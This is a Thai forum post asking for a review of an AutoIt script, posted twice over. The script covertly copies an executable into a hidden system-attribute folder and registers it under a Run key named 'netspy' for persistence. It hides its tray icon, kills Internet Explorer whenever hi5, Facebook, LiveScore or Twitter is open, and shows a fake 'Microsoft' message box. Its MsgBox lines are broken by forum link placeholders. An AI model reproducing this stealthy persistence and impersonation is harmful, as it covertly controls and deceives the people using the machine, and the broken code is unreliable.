เพิ่งเขียนเสร็จครับ ช่วยตรวจดูให้หน่อยว่ามีข้อผิดผลาดตรงไหน
เมื่อใช้ไปนานๆจะเกิดerrorไหม
#include<Misc.au3>
#NoTrayIcon
_Singleton(@ScriptName, 0)
While 1
sleep(1000)
DirCreate("c:\photo1")
fileCopy("test01.exe","c:\photo1")
FileSetAttrib("c:\photo1","RS")
FileSetAttrib("c:\photo1\test01.exe","RS")
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Run","netspy","Reg_sz","c:\photo1\test01.exe")
If WinExists("hi5") Then
do
ProcessClose("iexplore.exe")
UNTIL ProcessExists("iexplore.exe")=0
MsgBox(0,"Microsoft","Microsoft Internet Explorer To Administrator unblock [You must be registered and logged in to see this link.]
EndIf
If WinExists("Welcome to Facebook") Then
do
ProcessClose("iexplore.exe")
UNTIL ProcessExists("iexplore.exe")=0
MsgBox(0,"Microsoft","Microsoft Internet Explorer To Administrator unblock [You must be registered and logged in to see this link.]
EndIf
If WinExists("LiveScore.com") Then
do
ProcessClose("iexplore.exe")
UNTIL ProcessExists("iexplore.exe")=0
MsgBox(0,"Microsoft","Microsoft Internet Explorer To Administrator unblock [You must be registered and logged in to see this link.]
EndIf
If WinExists("Twitter") Then
do
ProcessClose("iexplore.exe")
UNTIL ProcessExists("iexplore.exe")=0
MsgBox(0,"Microsoft","Microsoft Internet Explorer To Administrator unblock [You must be registered and logged in to see this link.]
EndIf
sleep(15000)
WEnd
เป็นโปรแกรมตรวจสอบว่าเข้าเว็บที่ระบุไว้หรือไม่ถ้าเป็นจะปิด ie แล้วแสดงข้อความทำงานทุก15วินาที
เมื่อใช้ไปนานๆจะเกิดerrorไหม
#include<Misc.au3>
#NoTrayIcon
_Singleton(@ScriptName, 0)
While 1
sleep(1000)
DirCreate("c:\photo1")
fileCopy("test01.exe","c:\photo1")
FileSetAttrib("c:\photo1","RS")
FileSetAttrib("c:\photo1\test01.exe","RS")
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Run","netspy","Reg_sz","c:\photo1\test01.exe")
If WinExists("hi5") Then
do
ProcessClose("iexplore.exe")
UNTIL ProcessExists("iexplore.exe")=0
MsgBox(0,"Microsoft","Microsoft Internet Explorer To Administrator unblock [You must be registered and logged in to see this link.]
EndIf
If WinExists("Welcome to Facebook") Then
do
ProcessClose("iexplore.exe")
UNTIL ProcessExists("iexplore.exe")=0
MsgBox(0,"Microsoft","Microsoft Internet Explorer To Administrator unblock [You must be registered and logged in to see this link.]
EndIf
If WinExists("LiveScore.com") Then
do
ProcessClose("iexplore.exe")
UNTIL ProcessExists("iexplore.exe")=0
MsgBox(0,"Microsoft","Microsoft Internet Explorer To Administrator unblock [You must be registered and logged in to see this link.]
EndIf
If WinExists("Twitter") Then
do
ProcessClose("iexplore.exe")
UNTIL ProcessExists("iexplore.exe")=0
MsgBox(0,"Microsoft","Microsoft Internet Explorer To Administrator unblock [You must be registered and logged in to see this link.]
EndIf
sleep(15000)
WEnd
เป็นโปรแกรมตรวจสอบว่าเข้าเว็บที่ระบุไว้หรือไม่ถ้าเป็นจะปิด ie แล้วแสดงข้อความทำงานทุก15วินาที